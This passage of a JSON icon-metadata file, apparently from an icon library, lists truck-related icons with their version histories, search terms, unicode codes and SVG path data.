        "path": "M240.8 4.8C250.3 10.6 256 20.9 256 32v72h89c3.6-13.8 16.1-24 31-24h88c26.5 0 48 21.5 48 48s-21.5 48-48 48H376c-14.9 0-27.4-10.2-31-24H256v72c0 11.1-5.7 21.4-15.2 27.2s-21.2 6.4-31.1 1.4l-192-96C6.8 151.2 0 140.1 0 128s6.8-23.2 17.7-28.6l192-96c9.9-5 21.7-4.4 31.1 1.4zM288 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V256zM32 384h96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32zm192 0H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "truck": {
    "aliases": {
      "unicodes": {
        "composite": ["1f69a", "26df"],
        "secondary": ["10f0d1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Truck",
        "cargo",
        "delivery",
        "delivery truck",
        "shipping",
        "truck",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0d1",
    "label": "Truck",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V368c0 26.5 21.5 48 48 48H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H48zM416 160h50.7L544 237.3V256H416V160zM112 416a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V368c0 26.5 21.5 48 48 48H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H48zM416 160h50.7L544 237.3V256H416V160zM112 416a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "truck-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["access", "fast", "shipping", "transport"]
    },
    "styles": ["solid"],
    "unicode": "e58b",
    "label": "Truck Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM257 95c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H262.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9L257 95z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM257 95c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H262.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9L257 95z"
      }
    },
    "free": ["solid"]
  },
  "truck-droplet": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["thirst", "truck", "water", "water supply"]
    },
    "styles": ["solid"],
    "unicode": "e58c",
    "label": "Truck Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM208 272c39.8 0 72-29.6 72-66c0-27-39.4-82.9-59.9-110.3c-6.1-8.2-18.1-8.2-24.2 0C175.4 123 136 179 136 206c0 36.5 32.2 66 72 66z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM208 272c39.8 0 72-29.6 72-66c0-27-39.4-82.9-59.9-110.3c-6.1-8.2-18.1-8.2-24.2 0C175.4 123 136 179 136 206c0 36.5 32.2 66 72 66z"
      }
    },
    "free": ["solid"]
  },
  "truck-fast": {
    "aliases": {
      "names": ["shipping-fast"],
      "unicodes": {
        "secondary": ["10f48b"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["express", "fedex", "mail", "overnight", "package", "ups"]
    },
    "styles": ["solid"],
    "unicode": "f48b",
    "label": "Truck Fast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M112 0C85.5 0 64 21.5 64 48V96H16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 272c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 48c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 240c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 208c8.8 0 16 7.2 16 16s-7.2 16-16 16H64V416c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H112zM544 237.3V256H416V160h50.7L544 237.3zM160 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm272 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M112 0C85.5 0 64 21.5 64 48V96H16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 272c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 48c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 240c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 208c8.8 0 16 7.2 16 16s-7.2 16-16 16H64V416c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H112zM544 237.3V256H416V160h50.7L544 237.3zM160 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm272 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-field": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["supplies", "truck"]
    },
    "styles": ["solid"],
    "unicode": "e58d",
    "label": "Truck Field",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 96c0-35.3 28.7-64 64-64H320c23.7 0 44.4 12.9 55.4 32h51.8c25.3 0 48.2 14.9 58.5 38l52.8 118.8c.5 1.1 .9 2.1 1.3 3.2H544c35.3 0 64 28.7 64 64v32c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V288c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32V96zM384 224h85.9l-42.7-96H384v96zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 96c0-35.3 28.7-64 64-64H320c23.7 0 44.4 12.9 55.4 32h51.8c25.3 0 48.2 14.9 58.5 38l52.8 118.8c.5 1.1 .9 2.1 1.3 3.2H544c35.3 0 64 28.7 64 64v32c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V288c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32V96zM384 224h85.9l-42.7-96H384v96zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-field-un": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["supplies", "truck", "united nations"]
    },
    "styles": ["solid"],
    "unicode": "e58e",
    "label": "Truck Field Un",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 32C60.7 32 32 60.7 32 96v32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32v32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288c0-35.3-28.7-64-64-64h-4.2c-.4-1.1-.9-2.1-1.3-3.2L485.7 102c-10.3-23.1-33.2-38-58.5-38H375.4C364.4 44.9 343.7 32 320 32H96zm288 96h43.2l42.7 96H384V128zM112 384a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM253.3 135.1l34.7 52V144c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V144c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM128 144v64c0 8.8 7.2 16 16 16s16-7.2 16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V144c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 32C60.7 32 32 60.7 32 96v32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32v32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288c0-35.3-28.7-64-64-64h-4.2c-.4-1.1-.9-2.1-1.3-3.2L485.7 102c-10.3-23.1-33.2-38-58.5-38H375.4C364.4 44.9 343.7 32 320 32H96zm288 96h43.2l42.7 96H384V128zM112 384a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM253.3 135.1l34.7 52V144c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V144c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM128 144v64c0 8.8 7.2 16 16 16s16-7.2 16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V144c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "truck-front": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["shuttle", "truck", "van"]
    },
    "styles": ["solid"],
    "unicode": "e2b7",
    "label": "Truck Front",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 80C0 35.8 35.8 0 80 0H432c44.2 0 80 35.8 80 80V368c0 26.2-12.6 49.4-32 64v48c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V432C12.6 417.4 0 394.2 0 368V80zm129.9 72.2L112 224H400l-17.9-71.8C378.5 138 365.7 128 351 128H161c-14.7 0-27.5 10-31 24.2zM128 320a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 80C0 35.8 35.8 0 80 0H432c44.2 0 80 35.8 80 80V368c0 26.2-12.6 49.4-32 64v48c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V432C12.6 417.4 0 394.2 0 368V80zm129.9 72.2L112 224H400l-17.9-71.8C378.5 138 365.7 128 351 128H161c-14.7 0-27.5 10-31 24.2zM128 320a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "truck-medical": {
    "aliases": {
      "names": ["ambulance"],
      "unicodes": {
        "composite": ["1f691"],
        "secondary": ["10f0f9"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "ambulance",
        "clinic",
        "covid-19",
        "emergency",
        "emt",
        "er",
        "help",
        "hospital",
        "mobile",
        "support",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f9",
    "label": "Truck Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM176 80v48l-48 0c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V192h48c8.8 0 16-7.2 16-16V144c0-8.8-7.2-16-16-16H240V80c0-8.8-7.2-16-16-16H192c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM176 80v48l-48 0c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V192h48c8.8 0 16-7.2 16-16V144c0-8.8-7.2-16-16-16H240V80c0-8.8-7.2-16-16-16H192c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "truck-monster": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f63b"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["offroad", "vehicle", "wheel"]
    },
    "styles": ["solid"],
    "unicode": "f63b",
    "label": "Truck Monster",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 64v64H416L368 64H288zM419.2 25.6L496 128h80c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64H288c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H224V48c0-26.5 21.5-48 48-48h96c20.1 0 39.1 9.5 51.2 25.6zM152 256h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.7 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.3 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.3 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.8 3.7-14.1 6.8-21.7 9C190.1 503.1 180.1 512 168 512H152c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2L63.8 468.9c-8.6-8.6-9.3-21.9-2.3-31.3c-3.7-6.9-6.8-14.1-9-21.8C40.9 414.1 32 404.1 32 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.3-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9c1.7-11.6 11.7-20.6 23.8-20.6zm8 176a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM448.2 276.6c1.7-11.6 11.7-20.6 23.8-20.6h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.8 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.2 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.2 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.9 3.7-14.1 6.8-21.8 9C510.1 503.1 500.1 512 488 512H472c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2l-11.3-11.3c-8.6-8.6-9.3-21.9-2.2-31.3c-3.7-6.9-6.8-14.1-9-21.8C360.9 414.1 352 404.1 352 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.2-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9zM528 384a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 64v64H416L368 64H288zM419.2 25.6L496 128h80c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64H288c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H224V48c0-26.5 21.5-48 48-48h96c20.1 0 39.1 9.5 51.2 25.6zM152 256h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.7 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.3 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.3 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.8 3.7-14.1 6.8-21.7 9C190.1 503.1 180.1 512 168 512H152c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2L63.8 468.9c-8.6-8.6-9.3-21.9-2.3-31.3c-3.7-6.9-6.8-14.1-9-21.8C40.9 414.1 32 404.1 32 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.3-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9c1.7-11.6 11.7-20.6 23.8-20.6zm8 176a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM448.2 276.6c1.7-11.6 11.7-20.6 23.8-20.6h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.8 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.2 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.2 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.9 3.7-14.1 6.8-21.8 9C510.1 503.1 500.1 512 488 512H472c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2l-11.3-11.3c-8.6-8.6-9.3-21.9-2.2-31.3c-3.7-6.9-6.8-14.1-9-21.8C360.9 414.1 352 404.1 352 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.2-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9zM528 384a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-moving": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4df"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cargo", "inventory", "rental", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f4df",
    "label": "Truck Moving",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V304v80 16c0 44.2 35.8 80 80 80c26.2 0 49.4-12.6 64-32c14.6 19.4 37.8 32 64 32c44.2 0 80-35.8 80-80c0-5.5-.6-10.8-1.6-16H416h33.6c-1 5.2-1.6 10.5-1.6 16c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H608c17.7 0 32-14.3 32-32V288 272 261.7c0-9.2-3.2-18.2-9-25.3l-58.8-71.8c-10.6-13-26.5-20.5-43.3-20.5H480V96c0-35.3-28.7-64-64-64H64zM585 256H480V192h48.8c2.4 0 4.7 1.1 6.2 2.9L585 256zM528 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM176 400a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM80 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V304v80 16c0 44.2 35.8 80 80 80c26.2 0 49.4-12.6 64-32c14.6 19.4 37.8 32 64 32c44.2 0 80-35.8 80-80c0-5.5-.6-10.8-1.6-16H416h33.6c-1 5.2-1.6 10.5-1.6 16c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H608c17.7 0 32-14.3 32-32V288 272 261.7c0-9.2-3.2-18.2-9-25.3l-58.8-71.8c-10.6-13-26.5-20.5-43.3-20.5H480V96c0-35.3-28.7-64-64-64H64zM585 256H480V192h48.8c2.4 0 4.7 1.1 6.2 2.9L585 256zM528 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM176 400a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM80 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "truck-pickup": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6fb"],
        "secondary": ["10f63c"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cargo",
        "pick-up",
        "pickup",
        "pickup truck",
        "truck",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f63c",
    "label": "Truck Pickup",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
